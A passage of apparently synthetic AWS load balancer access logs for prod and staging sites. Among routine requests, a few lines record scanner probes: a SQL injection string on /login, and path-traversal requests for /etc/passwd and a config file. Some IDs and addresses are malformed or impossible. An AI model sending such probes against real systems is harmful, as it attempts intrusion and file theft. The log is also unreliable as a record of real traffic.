NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be1e-92b29f9fe23a49b083c74574" "prod-web-alb.example.com" "-" 9 2024-11-01T00:27:58.124595Z "forward" "-" "-" "10.0.227.237:443" "302" "-" "-" +http 2024-11-01T00:27:59.871097Z staging-alb 163.17.205.87:38487 39.152.157.99:8080 0.022548 0.511453 0.089928 302 302 149 2833 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be1f-434542090449443fb0c4f174" "staging-alb.example.com" "-" 10 2024-11-01T00:27:59.871097Z "forward" "-" "-" "39.152.157.99:8080" "302" "-" "-" +https 2024-11-01T00:28:01.516414Z prod-api-alb 49.168.216.223:55499 10.0.83.181:443 0.029255 0.104083 0.088694 301 301 235 8383 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be21-c3ede85b31724e099c741b15" "prod-api-alb.example.com" "-" 7 2024-11-01T00:28:01.516414Z "forward" "-" "-" "10.0.83.181:443" "301" "-" "-" +https 2024-11-01T00:28:02.020109Z prod-web-alb 185.181.166.125:61634 10.0.131.237:443 0.039672 0.138179 0.052332 301 301 799 13649 "POST /wp-admin HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be22-e10ec24280644f41934b9612" "-" "-" 0 2024-11-01T00:28:02.020109Z "forward" "-" "-" "10.0.131.237:443" "301" "-" "-" +https 2024-11-01T00:28:02.823256Z prod-api-alb 168.91.39.168:13578 10.0.179.8:443 0.044858 0.023153 0.002291 301 301 270 1234 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be22-79c478865e26408bbd295c3e" "prod-api-alb.example.com" "-" 4 2024-11-01T00:28:02.823256Z "forward" "-" "-" "10.0.179.8:443" "301" "-" "-" +https 2024-11-01T00:28:03.195245Z staging-alb 101.108.188.43:13574 78.221.160.208:8080 0.078069 0.334620 0.029800 200 200 842 13864 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be23-593c219786d14c7593af47a8" "staging-alb.example.com" "-" 9 2024-11-01T00:28:03.195245Z "forward" "-" "-" "78.221.160.208:8080" "200" "-" "-" +https 2024-11-01T00:28:04.169462Z prod-api-alb 95.19.142.74:37961 10.0.127.19:443 0.092000 0.235296 0.015749 200 200 968 4626 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be24-419b16f5dc614515ab3abf60" "prod-api-alb.example.com" "-" 7 2024-11-01T00:28:04.169462Z "forward" "-" "-" "10.0.127.19:443" "200" "-" "-" +https 2024-11-01T00:28:04.311449Z prod-web-alb 185.181.39.39:36618 10.0.114.64:443 0.076809 0.251771 0.038214 200 200 281 8571 "GET /login?id=1'-- HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be24-3638dc5208da49ada6d6f368" "-" "-" 2 2024-11-01T00:28:04.311449Z "forward" "-" "-" "10.0.114.64:443" "200" "-" "-" +https 2024-11-01T00:28:05.512352Z staging-alb 173.228.50.31:37469 161.200.19.240:80 0.003338 0.232856 0.146266 302 302 381 3757 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be25-91b0664f689a45769a60cc21" "staging-alb.example.com" "-" 7 2024-11-01T00:28:05.512352Z "forward" "-" "-" "161.200.19.240:80" "302" "-" "-" +http 2024-11-01T00:28:07.311518Z staging-alb 28.228.111.105:43635 209.63.153.8:443 0.015701 0.617743 0.057961 302 302 325 561 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be27-7650b50ca5094526bc2ad3bc" "staging-alb.example.com" "-" 0 2024-11-01T00:28:07.311518Z "forward" "-" "-" "209.63.153.8:443" "302" "-" "-" +http 2024-11-01T00:28:07.773282Z staging-alb 98.196.38.33:11782 154.38.8.125:80 0.087629 0.573918 0.095555 200 200 693 4787 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be27-e6e0dd960ecc40c38da9ca9d" "staging-alb.example.com" "-" 3 2024-11-01T00:28:07.773282Z "forward" "-" "-" "154.38.8.125:80" "200" "-" "-" +https 2024-11-01T00:28:09.651835Z prod-web-alb 65.134.46.142:43103 10.0.225.117:443 0.083206 0.357596 0.024227 200 200 614 2336 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be29-82b2cad61fca4e14b04982de" "prod-web-alb.example.com" "-" 0 2024-11-01T00:28:09.651835Z "forward" "-" "-" "10.0.225.117:443" "200" "-" "-" +https 2024-11-01T00:28:09.911186Z staging-alb 126.171.116.153:19416 51.52.237.179:443 0.039029 0.337619 0.054633 200 200 562 9246 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be29-2f73507dbcaf4d4e96edaaaa" "staging-alb.example.com" "-" 7 2024-11-01T00:28:09.911186Z "forward" "-" "-" "51.52.237.179:443" "200" "-" "-" +https 2024-11-01T00:28:11.462528Z prod-api-alb 10.225.159.211:46688 10.0.125.143:443 0.014510 0.452552 0.071487 200 200 958 10770 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be2b-4df4ca41fd884a3796ca48d8" "prod-api-alb.example.com" "-" 2 2024-11-01T00:28:11.462528Z "forward" "-" "-" "10.0.125.143:443" "200" "-" "-" +https 2024-11-01T00:28:12.132244Z prod-web-alb 240.24.158.57:11736 10.0.115.144:443 0.099309 0.170928 0.030656 302 302 183 12267 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be2c-4e04b980e7154ab2b5bc8286" "prod-web-alb.example.com" "-" 7 2024-11-01T00:28:12.132244Z "forward" "-" "-" "10.0.115.144:443" "302" "-" "-" +http 2024-11-01T00:28:12.254244Z staging-alb 185.181.51.36:29063 95.126.94.207:443 0.114488 0.538592 0.110219 403 403 263 9904 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be2c-0384370a2aff43b28f61142b" "-" "-" 1 2024-11-01T00:28:12.254244Z "forward" "-" "-" "95.126.94.207:443" "403" "-" "-" +http 2024-11-01T00:28:12.602302Z staging-alb 152.185.89.39:15870 20.98.230.54:443 0.021854 0.238057 0.125324 301 301 340 7073 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be2c-142864b8da024d839b6ffdb9" "staging-alb.example.com" "-" 4 2024-11-01T00:28:12.602302Z "forward" "-" "-" "20.98.230.54:443" "301" "-" "-" +https 2024-11-01T00:28:12.782158Z prod-api-alb 205.64.182.18:64091 10.0.145.227:443 0.015695 0.152824 0.066655 200 200 406 9320 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be2c-709e49ddcdbc4663b53eeddd" "prod-api-alb.example.com" "-" 9 2024-11-01T00:28:12.782158Z "forward" "-" "-" "10.0.145.227:443" "200" "-" "-" +https 2024-11-01T00:28:13.803771Z prod-web-alb 159.148.94.40:29450 10.0.57.27:443 0.080734 0.158499 0.024308 302 302 80 11132 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be2d-2a5fbe78430c416ba33b5839" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:13.803771Z "forward" "-" "-" "10.0.57.27:443" "302" "-" "-" +https 2024-11-01T00:28:15.260696Z prod-web-alb 43.194.143.118:27344 10.0.123.108:443 0.084543 0.088305 0.010844 200 200 774 12250 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be2f-40beda2bfc5244a88e7b51dc" "prod-web-alb.example.com" "-" 4 2024-11-01T00:28:15.260696Z "forward" "-" "-" "10.0.123.108:443" "200" "-" "-" +https 2024-11-01T00:28:16.269849Z prod-api-alb 174.228.159.111:26757 10.0.19.134:443 0.004326 0.383762 0.080323 302 302 167 8533 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be30-8f78da7130fc4debac691158" "prod-api-alb.example.com" "-" 3 2024-11-01T00:28:16.269849Z "forward" "-" "-" "10.0.19.134:443" "302" "-" "-" +https 2024-11-01T00:28:18.163611Z prod-api-alb 129.14.84.67:47294 10.0.250.5:443 0.052440 0.191579 0.076203 200 200 817 11561 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be32-bca1df13a8f34d7fa1a5a1b3" "prod-api-alb.example.com" "-" 4 2024-11-01T00:28:18.163611Z "forward" "-" "-" "10.0.250.5:443" "200" "-" "-" +https 2024-11-01T00:28:18.826284Z prod-web-alb 74.123.149.235:20423 10.0.50.155:443 0.031448 0.390113 0.086752 200 200 747 2558 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be32-1cc9042a8dd342b292653f16" "prod-web-alb.example.com" "-" 9 2024-11-01T00:28:18.826284Z "forward" "-" "-" "10.0.50.155:443" "200" "-" "-" +https 2024-11-01T00:28:20.447354Z prod-web-alb 68.215.224.193:51267 10.0.167.6:443 0.064431 0.014551 0.074107 301 301 952 4415 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be34-c90bc1df70104602a548ca80" "prod-web-alb.example.com" "-" 0 2024-11-01T00:28:20.447354Z "forward" "-" "-" "10.0.167.6:443" "301" "-" "-" +https 2024-11-01T00:28:22.248360Z prod-web-alb 71.236.182.10:52476 10.0.57.224:443 0.030276 0.070092 0.034655 200 200 464 6777 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be36-048374821ce940d19efb9a09" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:22.248360Z "forward" "-" "-" "10.0.57.224:443" "200" "-" "-" +https 2024-11-01T00:28:23.475721Z prod-api-alb 215.249.109.98:56678 10.0.228.92:443 0.042556 0.494064 0.092981 200 200 152 1281 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be37-20accccb85864d8e93cbae8c" "prod-api-alb.example.com" "-" 1 2024-11-01T00:28:23.475721Z "forward" "-" "-" "10.0.228.92:443" "200" "-" "-" +https 2024-11-01T00:28:24.596225Z prod-web-alb 59.79.114.82:23890 10.0.113.15:443 0.047791 0.494771 0.011988 200 200 909 13700 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be38-b5c097dfd36744b38b3ec047" "prod-web-alb.example.com" "-" 9 2024-11-01T00:28:24.596225Z "forward" "-" "-" "10.0.113.15:443" "200" "-" "-" +https 2024-11-01T00:28:26.257169Z prod-web-alb 193.27.228.181:13864 10.0.33.253:443 0.014050 0.256058 0.026405 403 403 323 8417 "GET /../../../etc/passwd HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be3a-27e5e229161f4924b767b08a" "-" "-" 9 2024-11-01T00:28:26.257169Z "forward" "-" "-" "10.0.33.253:443" "403" "-" "-" +https 2024-11-01T00:28:27.877801Z prod-api-alb 65.20.104.242:62131 10.0.134.135:443 0.061554 0.000401 0.064023 200 200 968 10646 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be3b-d76f5c0324184945a53d2cc2" "prod-api-alb.example.com" "-" 8 2024-11-01T00:28:27.877801Z "forward" "-" "-" "10.0.134.135:443" "200" "-" "-" +https 2024-11-01T00:28:28.333514Z prod-api-alb 239.237.24.54:56545 10.0.216.233:443 0.095695 0.163624 0.091991 200 200 802 4207 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be3c-7bb83db98343458e9a184320" "prod-api-alb.example.com" "-" 0 2024-11-01T00:28:28.333514Z "forward" "-" "-" "10.0.216.233:443" "200" "-" "-" +http 2024-11-01T00:28:28.841089Z staging-alb 127.156.50.189:13854 243.91.50.243:443 0.025840 0.087612 0.090070 200 200 577 11030 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be3c-8de4a22e279a47eeaa8fef67" "staging-alb.example.com" "-" 8 2024-11-01T00:28:28.841089Z "forward" "-" "-" "243.91.50.243:443" "200" "-" "-" +https 2024-11-01T00:28:30.027347Z prod-web-alb 22.209.160.23:11586 10.0.104.108:443 0.078782 0.424019 0.016823 404 404 323 2168 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be3e-e9a708c1f67f48cc8d6fb7ed" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:30.027347Z "forward" "-" "-" "10.0.104.108:443" "404" "-" "-" +https 2024-11-01T00:28:31.736382Z prod-web-alb 79.114.96.1:33017 10.0.20.167:443 0.070079 0.128736 0.029196 404 404 231 9428 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be3f-66c7b44999d845deb800f914" "prod-web-alb.example.com" "-" 8 2024-11-01T00:28:31.736382Z "forward" "-" "-" "10.0.20.167:443" "404" "-" "-" +http 2024-11-01T00:28:32.800438Z staging-alb 255.179.126.48:50211 15.99.238.190:443 0.010646 0.697627 0.062132 200 200 665 4808 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be40-a750969e1d754c4cb2208c2a" "-" "-" 4 2024-11-01T00:28:32.800438Z "forward" "-" "-" "15.99.238.190:443" "200" "-" "-" +https 2024-11-01T00:28:32.901433Z prod-api-alb 18.86.2.45:16896 10.0.80.169:443 0.002733 0.056500 0.038355 200 200 576 8591 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be40-58f688967b2b4d269c03d486" "prod-api-alb.example.com" "-" 3 2024-11-01T00:28:32.901433Z "forward" "-" "-" "10.0.80.169:443" "200" "-" "-" +https 2024-11-01T00:28:34.602525Z prod-web-alb 146.102.85.154:43592 10.0.227.207:443 0.020112 0.441969 0.064232 301 301 906 10733 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be42-4180d70cccee4ee4bf8d60cc" "prod-web-alb.example.com" "-" 10 2024-11-01T00:28:34.602525Z "forward" "-" "-" "10.0.227.207:443" "301" "-" "-" +https 2024-11-01T00:28:36.195009Z prod-api-alb 75.231.200.11:18759 10.0.191.229:443 0.070433 0.014263 0.086987 404 404 216 5909 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be44-e7bd91e8fd234f18887727ac" "prod-api-alb.example.com" "-" 9 2024-11-01T00:28:36.195009Z "forward" "-" "-" "10.0.191.229:443" "404" "-" "-" +http 2024-11-01T00:28:37.806093Z staging-alb 253.185.37.62:60044 210.147.186.233:443 0.089638 0.085553 0.052182 302 302 654 6631 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be45-e56c879cf27644b3b7d592fa" "staging-alb.example.com" "-" 3 2024-11-01T00:28:37.806093Z "forward" "-" "-" "210.147.186.233:443" "302" "-" "-" +http 2024-11-01T00:28:39.782177Z staging-alb 112.129.173.29:25684 22.229.217.124:443 0.042993 0.251931 0.025722 200 200 948 6376 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be47-841a2f9e31bf4c92b6ed1fbe" "staging-alb.example.com" "-" 7 2024-11-01T00:28:39.782177Z "forward" "-" "-" "22.229.217.124:443" "200" "-" "-" +https 2024-11-01T00:28:41.032736Z prod-web-alb 23.200.146.223:42623 10.0.25.128:443 0.031477 0.484876 0.030606 200 200 813 1472 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be49-294556510fe64289a827bc8e" "prod-web-alb.example.com" "-" 4 2024-11-01T00:28:41.032736Z "forward" "-" "-" "10.0.25.128:443" "200" "-" "-" +https 2024-11-01T00:28:41.292920Z prod-web-alb 188.198.12.143:60285 10.0.113.43:443 0.028077 0.370633 0.016491 200 200 908 13370 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be49-136c077669ba4083bdf14c7a" "prod-web-alb.example.com" "-" 3 2024-11-01T00:28:41.292920Z "forward" "-" "-" "10.0.113.43:443" "200" "-" "-" +https 2024-11-01T00:28:42.468017Z prod-api-alb 105.55.114.174:11618 10.0.224.105:443 0.046829 0.365632 0.087104 200 200 789 13984 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be4a-2867020b137a435886313a3c" "prod-api-alb.example.com" "-" 2 2024-11-01T00:28:42.468017Z "forward" "-" "-" "10.0.224.105:443" "200" "-" "-" +https 2024-11-01T00:28:43.907755Z prod-web-alb 226.77.214.161:54043 10.0.253.51:443 0.021834 0.093180 0.012440 302 302 261 8903 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be4b-1cb2b2cfb6494d34a94e0651" "prod-web-alb.example.com" "-" 10 2024-11-01T00:28:43.907755Z "forward" "-" "-" "10.0.253.51:443" "302" "-" "-" +https 2024-11-01T00:28:44.191342Z prod-api-alb 111.24.155.127:49169 10.0.224.55:443 0.026279 0.178872 0.023154 200 200 212 3830 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be4c-73f1211527c649eb84393617" "prod-api-alb.example.com" "-" 0 2024-11-01T00:28:44.191342Z "forward" "-" "-" "10.0.224.55:443" "200" "-" "-" +http 2024-11-01T00:28:44.625699Z staging-alb 143.140.19.206:57846 206.56.116.49:80 0.119612 0.482594 0.090220 200 200 402 298 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be4c-0be4cd0074e4416d9f1627d8" "staging-alb.example.com" "-" 1 2024-11-01T00:28:44.625699Z "forward" "-" "-" "206.56.116.49:80" "200" "-" "-" +https 2024-11-01T00:28:44.731014Z prod-web-alb 202.82.228.166:52533 10.0.165.180:443 0.016051 0.139597 0.080452 301 301 95 1226 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be4c-3a25b7acc4d443eab934a07c" "prod-web-alb.example.com" "-" 2 2024-11-01T00:28:44.731014Z "forward" "-" "-" "10.0.165.180:443" "301" "-" "-" +https 2024-11-01T00:28:45.895279Z prod-api-alb 139.14.14.88:11984 10.0.123.145:443 0.049284 0.199795 0.088905 200 200 967 11965 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be4d-cc3fe9e63481471caa941f68" "prod-api-alb.example.com" "-" 1 2024-11-01T00:28:45.895279Z "forward" "-" "-" "10.0.123.145:443" "200" "-" "-" +https 2024-11-01T00:28:46.012355Z prod-web-alb 69.225.21.17:60495 10.0.71.42:443 0.058650 0.166811 0.095426 200 200 791 13209 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be4e-79a735cae89a45d2a011cf7c" "prod-web-alb.example.com" "-" 2 2024-11-01T00:28:46.012355Z "forward" "-" "-" "10.0.71.42:443" "200" "-" "-" +https 2024-11-01T00:28:47.160087Z staging-alb 236.20.58.254:16155 66.193.129.17:8080 0.056864 0.015096 0.007161 200 200 894 